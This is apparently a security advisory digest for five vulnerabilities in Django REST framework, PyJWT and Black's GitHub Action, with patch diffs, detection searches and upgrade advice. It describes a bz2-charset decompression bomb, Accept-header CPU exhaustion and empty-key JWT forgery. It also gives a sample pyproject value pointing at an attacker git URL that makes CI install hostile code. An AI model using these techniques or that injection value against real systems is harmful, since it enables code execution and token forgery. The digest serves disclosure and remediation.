high

CVE

CVE-2026-114136, CVE-2026-114137, CVE-2026-114138, CVE-2026-114134

CWE

CWE-409, CWE-400, CWE-390, CWE-613, CWE-347, CWE-94

Affected Surface

  • PyPI package `djangorestframework` versions `>= 3.6.4, < 3.18.2` (`CVE-2026-114136`), `>= 3.12.0, < 3.18.2` (`CVE-2026-114137`), and `< 3.18.2` (`CVE-2026-114138`), fixed in `3.18.2` and `3.18.3`
  • PyPI package `PyJWT` (`pyjwt`) versions `<= 2.13.0`, fixed in `2.14.0` (and `2.15.1`)
  • PyPI package `black` and the `psf/black` GitHub Action versions `< 26.10.1` when configured with `use_pyproject: true`

TL;DR

On 22 October 2026, the GitHub Advisory Database and NVD published five high-severity advisories across three core packages in the Python web and CI stack: Django REST framework (djangorestframework), PyJWT (pyjwt), and Black (black / psf/black GitHub Action):

  1. CVE-2026-114136 (GHSA-3547-9m27-7rxg, CVSS v3.1 7.5 High) in djangorestframework >= 3.6.4, < 3.18.2: JSONParser.parse() passed the client’s Content-Type charset parameter directly into codecs.getreader(encoding). Unlike bytes.decode(), codecs.getreader() does not check CodecInfo._is_text_encoding, so an unauthenticated request with Content-Type: application/json; charset=bz2_codec wraps the body in a bz2 or zlib decompressor after Django’s DATA_UPLOAD_MAX_MEMORY_SIZE check has already run on the compressed bytes. A 108-byte payload expands 466,033-fold into a 50.3-million-character string (~97 MiB peak RSS per request).
  2. CVE-2026-114137 (GHSA-xw6w-gcfp-cf8m, CVSS v3.1 7.4 High) in djangorestframework >= 3.12.0, < 3.18.2: TokenProxy overrides @property def pk(self): return self.user_id for the Django admin, while the underlying authtoken_token table keys on the 40-character hex key column. Calling .delete() on a TokenProxy instance or TokenProxy.objects.filter(...).delete() issues DELETE FROM authtoken_token WHERE key IN (<user_id>), matching zero rows, raising no error, and leaving the “revoked” token active forever.
  3. CVE-2026-114138 (GHSA-33wh-fxxf-88vv, CVSS v3.1 7.5 High) in djangorestframework < 3.18.2: Default content negotiation had no cap on Accept header length or token count and re-parsed every Accept token up to six times per request through Django’s quadratic parse_header_parameters(). A single unauthenticated GET with a 780 KB Accept header stalled a Gunicorn worker for 18.87 seconds of pure CPU time.
  4. GHSA-pxh4-856f-4h89 (CVSS v3.1 7.4 High) in PyJWT <= 2.13.0: While PyJWT 2.13.0 blocked empty string/bytes HMAC secrets in HMACAlgorithm.prepare_key(), it left HMACAlgorithm.from_jwk() untouched. When PyJWK, PyJWKSet, or PyJWKClient loads a symmetric (kty: "oct") JWK with "k": "", from_jwk() returns b"" and accepts any HS256/384/512 token forged locally with an empty HMAC key.
  5. CVE-2026-114134 (GHSA-cg8m-r9f2-5wm2, CVSS v4.0 8.7 High) in black < 26.10.1: When the psf/black GitHub Action runs with use_pyproject: true, read_version_specifier_from_pyproject() returned tool.black.required-version without regex validation if it did not start with an ASCII digit, letting a pull request supply @ git+https://... or arbitrary pip install arguments and execute code in CI.

Note that djangorestframework 3.18.2 accidentally altered the return type of order_by_precedence(), so upgrade straight to djangorestframework>=3.18.3, PyJWT>=2.14.0 (2.15.1 is current), and black>=26.10.1.

Affected packages and projects

EcosystemPackageCVE / GHSASeverityAffected versionsFixed versionsVulnerable path
PyPIdjangorestframeworkCVE-2026-114136 (GHSA-3547-9m27-7rxg)CVSS v3.1 7.5 High>= 3.6.4, < 3.18.23.18.2 (use 3.18.3)rest_framework/parsers.py (JSONParser.parse -> codecs.getreader(encoding))
PyPIdjangorestframeworkCVE-2026-114137 (GHSA-xw6w-gcfp-cf8m)CVSS v3.1 7.4 High>= 3.12.0, < 3.18.23.18.2 (use 3.18.3)rest_framework/authtoken/models.py (TokenProxy.delete() and TokenProxy.objects.delete())
PyPIdjangorestframeworkCVE-2026-114138 (GHSA-33wh-fxxf-88vv)CVSS v3.1 7.5 High< 3.18.23.18.2 (use 3.18.3)rest_framework/negotiation.py and utils/mediatypes.py (DefaultContentNegotiation.select_renderer)
PyPIPyJWT (pyjwt)GHSA-pxh4-856f-4h89CVSS v3.1 7.4 High<= 2.13.02.14.0 (2.15.1 current)jwt/algorithms.py (HMACAlgorithm.from_jwk accepting "k": "")
PyPI / GitHub Actionsblack (psf/black)CVE-2026-114134 (GHSA-cg8m-r9f2-5wm2)CVSS v4.0 8.7 High< 26.10.126.10.1action/main.py (read_version_specifier_from_pyproject() when use_pyproject: true)

Technical analysis

1. CVE-2026-114136: codecs.getreader("bz2_codec") bypasses DATA_UPLOAD_MAX_MEMORY_SIZE in DRF JSONParser

In standard Django views, HttpRequest.body enforces settings.DATA_UPLOAD_MAX_MEMORY_SIZE (2.5 MiB by default) on the incoming request stream, and any later call to bytes.decode(encoding) checks CodecInfo._is_text_encoding, raising LookupError: 'bz2_codec' is not a text encoding if the client names one of CPython’s ~18 byte-transform codecs (bz2_codec, zlib_codec, base64_codec, hex_codec, quopri_codec, uu_codec, rot_13).

However, since djangorestframework 3.6.4, JSONParser.parse() in rest_framework/parsers.py decoded the stream via codecs.getreader(encoding)(stream):

encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
    decoded_stream = codecs.getreader(encoding)(stream)
    parse_constant = json.strict_constant if self.strict else None
    return json.load(decoded_stream, parse_constant=parse_constant)

codecs.getreader() is the one entry point in CPython’s codecs module that never checks CodecInfo._is_text_encoding. When an unauthenticated client sends Content-Type: application/json; charset=bz2_codec with a 108-byte bzip2 bomb, HttpRequest.body sees only 108 wire bytes and passes DATA_UPLOAD_MAX_MEMORY_SIZE. JSONParser.parse() then wraps the BytesIO in bz2 decompression and feeds a 50,331,648-character string into json.load(), growing worker RSS by ~97 MiB per 108-byte request (or raising an unhandled OSError / TypeError HTTP 500 if the body is not valid bz2).

Commit 3c2634599b adds get_encoding() in rest_framework/parsers.py and probes ''.encode(encoding), which rejects every non-text codec with a 400 ParseError:

--- a/rest_framework/parsers.py
+++ b/rest_framework/parsers.py
@@ -24,6 +24,28 @@ from rest_framework.utils import json
+def get_encoding(parser_context):
+    encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
+    try:
+        # Unlike `codecs.getreader()`, `str.encode()` rejects non-text codecs.
+        ''.encode(encoding)
+    except (LookupError, UnicodeError):
+        raise ParseError(
+            'Unsupported charset "%s" in request Content-Type header.' % encoding
+        )
+    return encoding

2. CVE-2026-114137 and CVE-2026-114138: silent TokenProxy.delete() failure and Accept header CPU exhaustion

The other two DRF patches in 3.18.2 / 3.18.3 fix a broken credential revocation path and an unauthenticated CPU denial of service:

  • Silent TokenProxy.delete() failure (CVE-2026-114137, commit af3fabfd51): In rest_framework/authtoken/models.py, Token uses key = models.CharField(..., primary_key=True). To make Django admin URLs use the integer user_id instead of exposing the secret token in the URL, TokenProxy defines @property def pk(self): return self.user_id. Because Django’s Model.delete() and Collector delete rows by matching the primary key column (key) against instance.pk, calling token_proxy.delete() or TokenProxy.objects.filter(user=u).delete() executed DELETE FROM authtoken_token WHERE key IN (<user_id>). The SQL query matched zero rows, returned (0, {}) without raising an exception, and left the token active in the database. The fix overrides TokenProxy.delete() and adds TokenProxyQuerySet.delete() so both paths delete against Token by self.key.
  • Quadratic Accept header negotiation (CVE-2026-114138, commit 148ab65239): DefaultContentNegotiation.select_renderer() split Accept on commas without a length or token cap and constructed _MediaType(token) inside nested loops, and then ran a second time via perform_content_negotiation(force=True) when rendering a 406 NotAcceptable error response. Each _MediaType initialization called django.utils.http.parse_header_parameters(), which rescans quotes from index 0 on every semicolon inside a quoted parameter. A single 780 KB Accept header with 96 semicolon-packed tokens burned 18.87 seconds of CPU. The fix caps max_accept_header_length = 8192, max_accept_tokens = 64, and max_media_type_length = 256, and caches parsed _MediaType objects per request.

3. GHSA-pxh4-856f-4h89: empty symmetric oct JWK key allows HMAC token forgery in PyJWT

In PyJWT 2.13.0, HMACAlgorithm.prepare_key() was updated to reject empty string or byte secrets ("" or b""). However, HMACAlgorithm.from_jwk() in jwt/algorithms.py did not call prepare_key() or check the decoded key length:

--- a/jwt/algorithms.py
+++ b/jwt/algorithms.py
@@ -428,7 +428,10 @@ def from_jwk(jwk: str | JWKDict) -> bytes:
         if obj.get("kty") != "oct":
             raise InvalidKeyError("Not an HMAC key")
 
-        return base64url_decode(obj["k"])
+        key_bytes = base64url_decode(obj["k"])
+        if len(key_bytes) == 0:
+            raise InvalidKeyError("HMAC key must not be empty.")
+        return key_bytes

In any service that verifies HS256, HS384, or HS512 tokens against a PyJWK, PyJWKSet, or PyJWKClient where an oct JWK entry has "k": "" (for example from an uninitialized environment variable or a default placeholder key in a JWKS document), from_jwk() returned b"" (commit af8181ca0b). An attacker can sign arbitrary JWT claims with b"" and set the header kid to that entry to forge valid tokens without knowing any secret.

4. CVE-2026-114134: tool.black.required-version injection in Black’s GitHub Action

The psf/black GitHub Action (action/main.py) supports an optional use_pyproject: true input that reads the Black version to install from pyproject.toml. While dependency-group arrays in pyproject.toml were matched against BLACK_VERSION_RE, read_version_specifier_from_pyproject() checked tool.black.required-version only for a leading digit and returned any other string verbatim:

--- a/action/main.py
+++ b/action/main.py
@@ -73,13 +73,25 @@ def read_version_specifier_from_pyproject() -> str:
     version = pyproject.get("tool", {}).get("black", {}).get("required-version")
     if version is not None:
         version = str(version).strip()
+        if not version:
+            return ""
         # If bare version number or major version is provided, format accordingly:
-        if version and version[0] in "0123456789":
+        if version[0] in "0123456789":
             if "." in version:
-                return f"=={version}"
+                version = f"=={version}"
             else:
-                return f"~={version}.0"
-        return version
+                version = f"~={version}.0"
+        # Accept only version specifiers, as for the dependency arrays below, so
+        # this can't turn into a direct reference that installs something else.
+        if m := BLACK_VERSION_RE.match(f"black{version}"):
+            return m.group(1).strip()

Before commit ac1f71563a (26.10.1), setting required-version = "@ git+https://github.com/attacker/evil.git" in pyproject.toml caused the action to install and execute an attacker-controlled package inside the CI runner.

Detection and remediation

1. Audit lockfiles, TokenProxy callers, and GitHub Actions workflows

Run these checks across your Python repositories:

# Check installed versions in the active environment
pip show djangorestframework PyJWT black 2>/dev/null || true

# Search lockfiles and manifests for vulnerable versions
rg -n -i '"?(djangorestframework|pyjwt|black)"?\s*([~=!<>]=|:)' \
  requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile.lock 2>/dev/null

# Check if your codebase revokes DRF tokens through TokenProxy instead of Token
rg -n 'TokenProxy\.(objects|delete)|isinstance\([^,]+,\s*TokenProxy\)' --glob '*.py' . 2>/dev/null

# Check GitHub Actions workflows for psf/black with use_pyproject: true
rg -n 'psf/black|use_pyproject\s*:\s*true' .github/workflows 2>/dev/null

2. Upgrade packages and purge unrevoked authtoken_token rows

  1. Upgrade djangorestframework to 3.18.3+, PyJWT to 2.14.0+ (2.15.1), and psf/black to 26.10.1+:
    pip install -U "djangorestframework>=3.18.3" "PyJWT>=2.15.1" "black>=26.10.1"
    (Skip djangorestframework==3.18.2 in favor of 3.18.3, which restores the return value of order_by_precedence() broken in 3.18.2.)
  2. Audit and purge surviving DRF tokens (CVE-2026-114137): If any logout view, offboarding script, or custom admin action in your application called .delete() on TokenProxy or TokenProxy.objects, those tokens were never deleted from the database. Query authtoken_token for tokens belonging to deactivated (is_active=False) or offboarded users and delete them through the concrete Token model (Token.objects.filter(user__is_active=False).delete()).
  3. Pin psf/black in .github/workflows: Update workflow references to psf/black@26.10.1 (or the commit SHA ac1f71563aeccf73cf13ece00f231d9d6c66a514), and never run use_pyproject: true inside a pull_request_target workflow that checks out untrusted PR head commits.

Timeline

  • 2026-10-06: Django REST framework releases 3.18.2 with fixes for GHSA-3547-9m27-7rxg, GHSA-xw6w-gcfp-cf8m, and GHSA-33wh-fxxf-88vv, followed the same day by 3.18.3 to revert an unintended API change in order_by_precedence().
  • 2026-10-12: PyJWT merges commit af8181ca0b and releases 2.14.0 rejecting empty oct JWK keys; Black merges PR #5510 (ac1f71563a) and releases 26.10.1.
  • 2026-10-21 to 2026-10-22: CVE records CVE-2026-114134, CVE-2026-114136, CVE-2026-114137, and CVE-2026-114138, along with GHSA-pxh4-856f-4h89, are published to NVD and the global GitHub Advisory Database.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References